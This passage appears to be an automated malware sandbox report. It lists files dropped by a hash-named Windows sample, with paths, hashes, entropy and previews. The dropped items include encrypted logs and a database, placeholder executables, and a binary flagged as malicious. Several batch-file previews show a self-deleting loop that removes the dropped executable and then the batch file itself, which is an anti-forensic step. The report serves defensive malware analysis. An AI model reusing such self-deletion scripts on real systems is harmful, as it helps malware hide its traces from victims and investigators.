SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\k3[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\k4[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\k5[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\.ses

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.343965016097931
Encrypted:	false
SSDEEP:	12:aiaq8FeE4QU5lWHMJ4xg1bgso//Jn+Prgcii9a:aiadNd0dcYgn4kbD
MD5:	EAF64C6E9DC1738195093DFB276063B7
SHA1:	6482DABA8EAED173E756B9C83647CD50D7FEC9A5
SHA-256:	164C1D9A5AAAAD7C1EE1A5EA696282D3D4853D13E9BE930F625BC322C8CEFAC3
SHA-512:	5D9723D8A3EA5174AFCE54A097E3FDA188CDC10B05AD70870D31514D2892BB3177FF777AC61509EB8D120903E9BAA8361ED14ED0FF6FDDC42DAEB193E794878A
Malicious:	false
Preview:	16964......aH....;...4L...\.._..p....vA;AB..-,7.L..%..jV....+...=2.<_.z...W......v...A`...9..C.a...u.5..@.."..'=.,...j....7............8....~.^!.,.(VB*<.-.~...i.[..d.....O..`Q..GW....O....Qs......Z....A...)....R...k...V...}..`,.86......\|x.=h...^md.....H)..."...t....Oue+..pO...4..8sG...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\02FD7DBF.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\0a4e793f.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	196
Entropy (8bit):	4.942555713339899
Encrypted:	false
SSDEEP:	6:jdKoN723fTpMD2UN723fTz/dKoN723fKn:jIMaboabz/IMayn
MD5:	5AF772E53D3E582C8CA6ACC49AACC02E
SHA1:	53F15A169A7CA9031A9BF3028CD9D73EDFAD8675
SHA-256:	E5BF21FDC8709E1F84FD8DAC3C9984B301D131E951AC7E96322C8EAA0F07ADD2
SHA-512:	C1D712EE44AD30A2C0FB7F3E7170D663FA01CB231E7797A7F47623576254E297DF4500192964BE44F1FC867E74B5D263C893F75581C9B5EAB2D5904EF68201D3
Malicious:	false
Preview:	:DELFILE..del "C:\Users\user\AppData\Local\Temp\OmbNjE.exe"..if exist "C:\Users\user\AppData\Local\Temp\OmbNjE.exe" goto :DELFILE..del "C:\Users\user\AppData\Local\Temp\0a4e793f.bat"..

C:\Users\user\AppData\Local\Temp\13433410.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	196
Entropy (8bit):	4.963035349734102
Encrypted:	false
SSDEEP:	6:jdKoN723fTpMD2UN723fTz/dKoN723f7jyhjn:jIMaboabz/IMavMn
MD5:	29656D16C7618FF00B5A9B770CC67073
SHA1:	F13C20780AA89FA26362DFDB3B85CF860551C310
SHA-256:	10E282308F676DC4DC84FF6072D20D304273B2E7B2E62700173E9B0D3F2F1DAD
SHA-512:	7C1B29A994AEFE295D91295B10D7A99B74AD03120E0DEC2A1C5B2BFB1EE9A85B625E83CCBB84574A4C004E3FDC1523BA657C900F8E0E2CCF636D2733B3A80CC3
Malicious:	false
Preview:	:DELFILE..del "C:\Users\user\AppData\Local\Temp\OmbNjE.exe"..if exist "C:\Users\user\AppData\Local\Temp\OmbNjE.exe" goto :DELFILE..del "C:\Users\user\AppData\Local\Temp\13433410.bat"..

C:\Users\user\AppData\Local\Temp\160A5A17.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993077632243832
Encrypted:	true
SSDEEP:	384:BKTxpCmXo3kuIsXP+278e3mVN5fZpy9LHYtN90TdHLRamNZJVUvbB4CzuKboFm:ETvCmXo0u9jQe2L5BpQZI+Wvd4CBboM
MD5:	DC991B39F599B92956E0379408BF4C8A
SHA1:	DEEC8AD12EF2E5BBFEF8EC1A6ECAA33FED558E3A
SHA-256:	D62ECD24B699C41ADCF078B6CD5E51903782BC781C381EF4598FF3967296C2C2
SHA-512:	3402A28B5E2CED0BA84DC93C6DB01238F98501DDA12787C60EEF476F9E01F1B379EB5D96CCA2B4AC4A6C7E501063DF56EFBDA5649B6DF8894310F690AD7A0F73
Malicious:	false
Preview:	SQLituu.z.C..hS%_..s..L.$/+.K./.#c\|..-..eM..._.........W_...I...K..6}a.`.Z.T..#>....>pB".j..&TW."g.N9..a=...TF..!.u...8A....ah.f../....V..M..%]...gk.G....J.....<1D....3..?.l.1.{..)U.VB....w.......`.F..9..m...N.A.%.c.....\|....a....P.....n...zu/.V.q.8^O....M.m.5Ny.R...F.k..q..(.q0t..jl#....z.s.k.B.O...V...%.;0.i..........(.l....S...].G.+o!.h...7X.....".......zH.b..+.Ol....aU>.t..r..Y(.r....q.......B.....IS.....F^tQ..Y.....+f].N8....m...b..I....i..8..9...#.1....I1}JX..4.MM6.1....~w..y$..<`v..... .>.0.^...\|....}....5.......`.........?.....Dq.1.3.A......:u.9=.s.P.]..4..*.z...N.'..Z..V.ih..eli~R..@.9k....%.J_~Pf..czJ..'...A....4....2..../w....Mv...].......W.....J3.e..L.. >Jh.db..t&.@.q.... ...%06...R...2U.l..f...Gf.^...7%M@...P..,X....;'.m0`.yD.E..W[a......5.9...L...._..d.....a..Mv..!..t&.C.U..5tY5..U.......@h..2.d..nYuk.).... ....6.....k.[\|]...Q..F.j.,....?fJx.r.?..f.M_.-.I1.......]>..`.To}......t.....T..Q_....f.;...R..H..n........%`<..

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997064483347928
Encrypted:	true
SSDEEP:	1536:/8v3cYJrBZBcrGw80eqUGz//z+gFwPUBSllPR/d1CCp6:Uv3cYJrpKGa/z1YUQXR/dJ6
MD5:	CEDE70B7B09E28D1FDE2AADC9114D05B
SHA1:	F292092FFFF7605B482EA3B9DAFC2B18557AAAFF
SHA-256:	2E5A57F53A92B0F125204C01CC65325BD4DF75ED275E607F1B0196A9450FDBD1
SHA-512:	D5886F442ADF07E05E6D7A42543A78362B51C14BAC3CAEA9AD84CD7D911AE1E934335AD8BD0F802124893132A09EB0B6B0ABB769ADD6292A1C3C275B80F31311
Malicious:	false
Preview:	1G.f..+..;...YDY.O..3......du.....:Mq...(z..Z)..:..v&wlV.......s.7.di.Y.R....+...6.g....;y.............pE).zf.vJ.9ofE.....w.]l,......l....(...m0....D...vv.....'Z.ES...?....%.....0'.3z...J...}5.~aa(...w..,.@....E`1...e.....1M?X..qn.......b..j:....,C..h...7..-LtN]X)....fa.[.4'.z.).F.'...s...+.JM...i.;.8..F5%..HB.r....V...<._h..b5r....&@...D...\.j..XU.K..V.Y<.ul...p..a..........).S...m$e.'..B.]}%.?.X..2J.I.....>2....V_G..`.,%..F..2W..dr...u.ph.O.....g..P......L..x...\f...o..1..9a..t..!2V...I..'.<q.>`....%....p.e~...xi4.."up1...t.`F....f}@....CXA..8..\|\.,.....G.o&.-.....}.H....3bOB.\R..p...y..DVv'#....../..:.HA...l.....>RlLI..y7K. ..j...<~...2.%...c...L...?.!..W.I.G..N...).d.e...:.....=s...... ..d.9p..C..osCTm\Pz.?...}.&.<=@...b..Vg..V}v......p.e...{.~O..x.CV."S.Y.......E...jl..u..Q....&h.b.C...N...q..8E.(.BS.....R....A...j..\|...#..q...UhT.3....<9.i4..7......A.WS...C..............Lj...*......e..s.vi5.....HP.C.@.............&..

C:\Users\user\AppData\Local\Temp\3ABA34D5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\4ECB7A11.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\51eb5671.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	196
Entropy (8bit):	4.940460582514899
Encrypted:	false
SSDEEP:	6:jdKoN723fTpMD2UN723fTz/dKoN723fl/n:jIMaboabz/IMa9/n
MD5:	812777228AB160237A9BCCBE62D850A7
SHA1:	6C6EF02BE845911A7E66A033C1F34ACA4847A2B4
SHA-256:	F57A48933A204750F274760C6EEF46B8C37482B0CD23E5465B3264E0C9DAC4F0
SHA-512:	5659E350AFE2DD2D4255A4FB86292872CC9826873980D23B63823E36009191AEB3FCA15EEF8E27D79F7942F0CF46E117EAB0575C65581CBAF253B72481344DF6
Malicious:	false
Preview:	:DELFILE..del "C:\Users\user\AppData\Local\Temp\OmbNjE.exe"..if exist "C:\Users\user\AppData\Local\Temp\OmbNjE.exe" goto :DELFILE..del "C:\Users\user\AppData\Local\Temp\51eb5671.bat"..

C:\Users\user\AppData\Local\Temp\5B2B1360.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\79A93DE2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\AdobeARM.log

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	3495
Entropy (8bit):	7.9340935495650236
Encrypted:	false
SSDEEP:	96:oRfe4X8hwk2MYxFvi42GhZN9l2fOCeSraNVwfodBlZC:emUTk2MY/viMvN9EWCDrodBlM
MD5:	70970E5B3000C5C87E9BED9EC0A22331
SHA1:	10EBD3098A30073C500C0394E4342BFDE35339CA
SHA-256:	B6ACB09453E8063C7E055DD9303B1EEB9E8F9E1CC132C54EFD42E68F3FF849F8
SHA-512:	2FB487F6D4376E9B1B14087894F96ADBEA9A82860A6BDB833AF19057AA1777DDCAFE306736E401667377A5333E0C3A5423BFAC7FE2DEE6BF66D54F813A6F76E6
Malicious:	false
Preview:	[2023O......U.g.Z...-....\|.....+9n.c@.E..$..&...(......6..J.v.x8.\|X..!$.`..[...{J..s8.(:.wOh./jj1..T.[H(..l..i...J........][-.J..Cb....O,.$.....#......;s...u..P..-....dW...0......F.R.~-..-.K..D..n.....l.j.W^...\B.<.]...Xim...../...Q.W.}.g)dp.'..2....7.9]EE.n~..-&.O...{z$..@#..l.QL.E-GE....>-..,.M}..2.i.eF.w...e...ah.6..X.-!.....F...J..4.E.O...u...ZG\|....R.$.j..[.t.]..^...1....s.PB..(.....6.....g-B.ZL..&E.D\=]M.w,..z..9;..L6...B.."B:..<.F........QR.?......k.qkr.a.W.<....]..".W..)..79$..~T.?.bq.E....u..<...t..J...#$.Fs...E0..E...@.. ...K..Y.........(..,.X.a.{Z./....O..7.K.#.&..zA.0...0?.;....z.{.^[.]....)....I'....E.]..6&....,.3.L..1..N{..?.*..d.SOS....2E0..s.$...s.......D..Y]<'Mc>K.Sm.@.U.v.#...T].0.....9^E.9n............8'P...^X.k.<vA.=..d...kav...&.{e.^.:g.....NOF..0..F........q..K.[.d.....+...c......E8o......"...9C..x..]q"..pb..?S...$S$o..D....[g.X..>.8#.4...Vu...a.hr.7w.H...Q....T4...K.F-...\W'W.._...w.,.RG...8....O.>f...a.=..-.@.

C:\Users\user\AppData\Local\Temp\user-PC-20231005-0824.log

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	39138
Entropy (8bit):	7.995314892673523
Encrypted:	true
SSDEEP:	768:8JybX4QKixmS4iWKBqeA/owx79nROgl7kVcYEJLsZYzO+tkBkbLjO:8JoYixFnwoY79nRv7k3E9su1tkSbLK
MD5:	A6EFF28FA497D2D5ABFC23430831A95A
SHA1:	12DD9F91F2BE0F139E1B668A881B0AACFFA13FD9
SHA-256:	374390CA613B4B1C65A9A7DD65B030753976983F97A57BFB912C0DBB61DB23D2
SHA-512:	67E0F74C6C3AD50E42FDD809D87E43B45BC78282C53C147F49B806CB9536CC04B2290979150291EA8533492E8639CC7CF5755FD56C9B8F1DB0A1E5B50B0EFA48
Malicious:	false
Preview:	..T.ivns.d .......~.[....n......$.m.g..(.=...J[.G...VPD...q0.PgP.....k..:> ..."...Y.t...N...E.8..js.....>K}.!.........d&.."..t.2].s.OY..X.D....p.M..lh....VFz.&...tq..........#.Z.j...v...H.2d.W.7H'C..dFO`f...P/...L.(...+...C."wCi.X'K..04...;.r...J.B.M.Y..'.hn...8..N..!-RX+.`h..YM.i......Z..Lx.=.d._.G.5....^.....kK.K..>.m.b....3J..a...Kn..`..&J.....1.3(....NT..<.)....[y..iR.W...d%..#T.9.P.(.H......&..(..$....R@..V]2!._N./..9M....yh+.K........)......ITX.g.i.J.KT.ZQc.4.hhc..}./#...~...`f/.........).\|..G.].4FD..vh.w..K.4).=..<".=.\|.d=..3.qM3.4..N..N...\`i.....L......<.x...)r .k.BZ`5$!..$$.{..i.h.O'@..=...$1....,..Z....a.....7....pF[.......\.0..1.Kz..=.._!.R.#..4.\|an...4qq..:B#...1....i.ur.....&..o...x5k.]...&....g....s...X.~....t-y..h..D....D..LI.._..4.Oi.{.O.....!.Y..<..,=K.4D...t._..*O..dD..Ng.LZ...W5.n.1...!r7...:Q88..>&..&.`.)....C..8H.........ThW.2D..z.$.%.D..8.o.}\|.c.<3L.1%...t.....G,.tLs..-$o.^..B.....-......]G..U... .5....Ks.....J.1

C:\Users\user\AppData\Local\Temp\user-PC-20231005-0824a.log

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	178558
Entropy (8bit):	7.770379393015934
Encrypted:	false
SSDEEP:	3072:W5AaOqs5sJQolTj0yQtXER/hPVAEuXqD/8Kx5SHEzB4Ntbg4fbWblXNF:W0TsJQo6tUphemFIQ+tb7TWpD
MD5:	AC6A764794DC2C19D500B98E8697757C
SHA1:	0D762DB7A8419C62678EB6ED87632BECB73D973A
SHA-256:	44FA6897FAF2D528861A53AEF94F80C46BAFE4F4140F0BD5A4497B344ECF5BE3
SHA-512:	34B18B2DD96BE0EA93CCAA7059C2678A9037EE6A80089144F84D9D95CB8AFB57E9F060444987B31B24519462FB277E17A2E835C39DA19377745C33A6505E6D30
Malicious:	false
Preview:	..T.i..k..e.Z%...F...5]....Jrc.....VKp...}.FHT!.....z..,..42"kd...5....}.;kc...\|<..(.'ZE...m..r.\|......e...R.....R.C.PA..O.lnd..6.Rt.Uz.=.(i[R...h....C.\N.1o..NlZR-..P~.~.#....Z#.o...c.,..$...9.N.Ir(.w{TP]wk.;.uK&...!pU...,....$..\|..p.+.....}.i[Y.E.v.u.[gSe98.]..W.2.z..b.p:/.\A`.6x^p......O"5..."].3......#..g......F.:_..8...H>....-oi.5z.K.U:g........E.}...F.I..C..+.R.o...^..p......HM.@.6j?......E..\G.:.........7...LQ..^...j..q..[..}Z...x.]....j....I.~d?......b..3[.K~86.P.J..D.._.f _2../...U..$..S..@?.#.......J..V.+.X.......Qsp.P........N?y..).B.c.f..j!.;...)...R..u.5.qD..b.W"I..'.V.'......yK.S.%W_/F#..t6Z.....U~H0.......;.e.Q^.v.M.=)I..k="...<U../$.\......z*.........G........yO."...i.@v..+.oN....."...}.oNP....,..R!..+....r.;O..{. ..L!.P=.i..'..B_..y.$B$y...a.nO....%..........6.(r.c..I.D...0..d.w.....\|8.!.x..~...Q.......R...1<.<.v....e..\|....gQK.x.w]x!...w....?z. .?..o..b...... K.9...+H.n.........F(....c.....&.!/N.r.qJmkt...~.....

C:\Users\user\AppData\Local\Temp\user-PC-20231005-0824b.log

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	260578
Entropy (8bit):	6.926173544616269
Encrypted:	false
SSDEEP:	6144:gyiAOLtvK39tavdcZszNBm3v0AE6c6Y5iuHokyF/MjicF3ZofQNnXJQbfYeuHGVX:gJlLFKraVqeNB/Ag5iuHokyF/MjicF3y
MD5:	0152B29FC887C554A7D439EB54AA768C
SHA1:	D7B4E7D57ECB7FC40F83047C9F3920B9F360081A
SHA-256:	E2A71B4755908287044908D15A4D7E384A0E24FF262CBB77000C1BA2EAE7E28D
SHA-512:	90B9C6E86FE6A9091B0EC527BBE283C08C1F2F0EB3FD968BB7D65DA9C92BDB8951EDD330A039947350CB513BC1432D000A03AC2A9D2951688D4CEC0265F08913
Malicious:	false
Preview:	..T.i.......j.<Nk)t.......}...io.`J9..u...`1>......-...94.k2e\b).]E/U.}{].\.f<.........}..C.B..y.xc. ..b...T.$.d...I...A}8..XXO...d....t.'.E.Z..G..h?(...Y...^...\n.Leu...c.tO\.}/J.hO..C<b.J...z....V..~.R.....BY.%./Q^Ji.\|......k.i.c......spf...}..j........j..~`..[..~.s..[.9O..@..l.b.w.f.:M..z.f.]. ....../M.dZ.-.k..@...e$...P.8%...}+....z,..3@...J....z.7.....Q1.v..Y...p5./.t....(.-....:..gX..9.0.d.2..l...M.......~.CGY.).yKkV$\.E.Czyj...4>D..P..dhp.Hm..NU.a\|......h.j......rI7....b....>...2.:Ui....P....:..9.bK[......92S...s.....N#].E.r..(.(.}..F..>I..,.g.B...."....u.1.UAD....B$....~2z...?TC..S.............j..Q_(.C.T..aC.Y.......;..37....FCq...,=^..?5...io.5u..-.\.@Z....]. .pP.c..$...)r."9.~.a.....7w...Qv.J....B..D..'..).FA.x."."Tf..K8f.../.E............\DHQT.........X,.(:...h.g....O..r.2...W..)....m.....LSp...8zo.0f`.%..Q....d..$...0.......oR]...)..z..0l.....-..pS..2...BP..o.1E...5'....Z..' ....3A.G...!:o...B....:..s..'.J..`(.ue...8...4L.Q.5..bk.....

C:\Users\user\AppData\Local\Temp\user-PC-20231005-0826.log

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	217610
Entropy (8bit):	7.288797846002853
Encrypted:	false
SSDEEP:	6144:UU+9xZJZQfIPlr9x7gEMGQ3EtFpE4F1K8YD7cL1EPL+9dzfVjGBB659Q0512q+JS:ZWxjZqI9r9ZAx3EtFpE4F1K8YD7cL1Em
MD5:	90C9BEA0FEE0B190BF48C51A231E2C50
SHA1:	C222F45751B37094F7EB6976192F0D992B0285CB
SHA-256:	0E520D59AD227590A62A6EE01A5AEC7E66C1603EFB4B54484B5D5193EC9B1204
SHA-512:	DC8B7C73D4D4C7A38302BC1E491930289E80A2A2AB4C9945897657F91F2CE2C45527BA1DD8CA5E86415C57795E631E5B5BF3D19F73B1B22972D720075761290F
Malicious:	false
Preview:	..T.i.4.zQ....\.WU17./.}...>u.)......)s>..W..!...D..@..3......{.;M.O.:H..d.jgU.^.C..)8.C.{..2....]C...s.."..../.}..J.F._0\CR...u.. ,e....Mx.2...\|a.c.\|^....se'.pS..a+7.......qbL..b.....O...#6...LF....a....aC.....Zn.....{.(........ao....Dj TR..O)J.nj/k.>...d.7T........7...@g%....'.i...:`M\..........S.u....)8.S.)\L.....Zv.7D...F...$.LS.Bg.:]Z.BC..../=..B.".....!....R...5...2...R......(UK...n.<.....j..DX..\|S...J....z.t..Z.......a9.1.....7..XG.kW..q}........v..fb.1E..Q..2.....D....0.....A..?...YV.D......B.}...._.6.....0j...^.'.;...'~......9.._vdl)..D.\|..Y.,.y.M...D..T.....6.>..H...$...]....5`.....\..Ln.4....d....kp..gq......O....#...`!-........>..C...9.A.Q.I.x~....Y..K6..u...V...?.r..wR..Wbn...8gb.._"........L...OCv..@.6o..t..~X..(.F..z.&(..g\|b.<....@..=.0.N.Mjd....O..`..J...`b.6.yy....HiK.@p..j-..Sm........[j.~....._..C..XG....?.M.@a...9T.\|....}....E.v..?.4.i.~..(....T......F..x...C....h.C.).8w.F.?....>..5..jO&. N_..,..[\o..[..;!..

C:\Users\user\AppData\Local\Temp\user-PC-20231005-0829.log

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	393546
Entropy (8bit):	6.117209229303411
Encrypted:	false
SSDEEP:	6144:pZX415NgJ8ffjsneXPK1/76zyhAS3nqCqVRcWXTGQ3b:pZXqgJ84KPGG2qM0Tx3b
MD5:	5DFCB10D5F66D0F11528AA7F37E700D8
SHA1:	4B537EDD4C11F1648B4C4C5D11A592EBA7CF80F0
SHA-256:	7BA96AA90D8B572DFB9DD3DF5F5E1C43D56F79F66EBDD0021888E8B5550448CF
SHA-512:	DAA27587FA7DB4164787D8102D8F783375A91A81C7A790877FA3831694F656BF3ED29D266BFBD3B878CFAE847C101294C008D4E9F0D7AD41B359DD29DD9E15AC
Malicious:	false
Preview:	..T.i...:....u.....s...........&.Ud...5,Y2...e.t[.......F.Ju....rP..LjEV. ...^E@..WcMk.j.... ..z..0...&....U. .......%<.@.$_....y........~!..v..Tr<6r...g .......ljp'..Y4<....EW.."..F.@1..5.....J..1..n.y...V...C....l...D..C..".K. ...".#.!,.w...Yr^..@r..i....,.xr........Q.v....5.....P.~ -.nm.."bm...B...c/.a.... ..^..l..b...EKe.....9..2@T..a_..8..8..U4(..c1......QF...5z.^d8..vy....Q..D..Nh5......7.iY...L.........._...4...<....;....V..H.I..[...X...4.p..\|..t$^.]............K.wq.w..E...v...A.3.....".k...........?N`....<B+.....R..t.a.z....y........F/...=P2./...N..._...#bbH.9.7m........t..`..S..9..j.rp)..5.Y.._s..i..z.L.~.Os..R.:.J`....BA....Z.....+.d4.G.!(N...Q.8&..Ij.....C.z...1...^...6..........k..C.].a+.t....$....8....J.u.....(.[4<.A....\|.....;..._.Q.b.E.'...<..@......M...)..T..........{....K._f....j4y..s+....#7m.pS).3.20;(5.V..."`!,U.[B_...U.A.;.7q'..:..>g....S.W....JZp..:K...i[.D......W.C.m`.X.+[.X.+z.....$/a.`A.O..0IEr..Iy..j..m.

C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	7.031075575407894
Encrypted:	false
SSDEEP:	384:IXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:gQGPL4vzZq2o9W7GsxBbPr
MD5:	F7D21DE5C4E81341ECCD280C11DDCC9A
SHA1:	D4E9EF10D7685D491583C6FA93AE5D9105D815BD
SHA-256:	4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794
SHA-512:	E4553B86B083996038BACFB979AD0B86F578F95185D8EFAC34A77F6CC73E491D4F70E1449BBC9EB1D62F430800C1574101B270E1CB0EEED43A83049A79B636A3
Malicious:	true
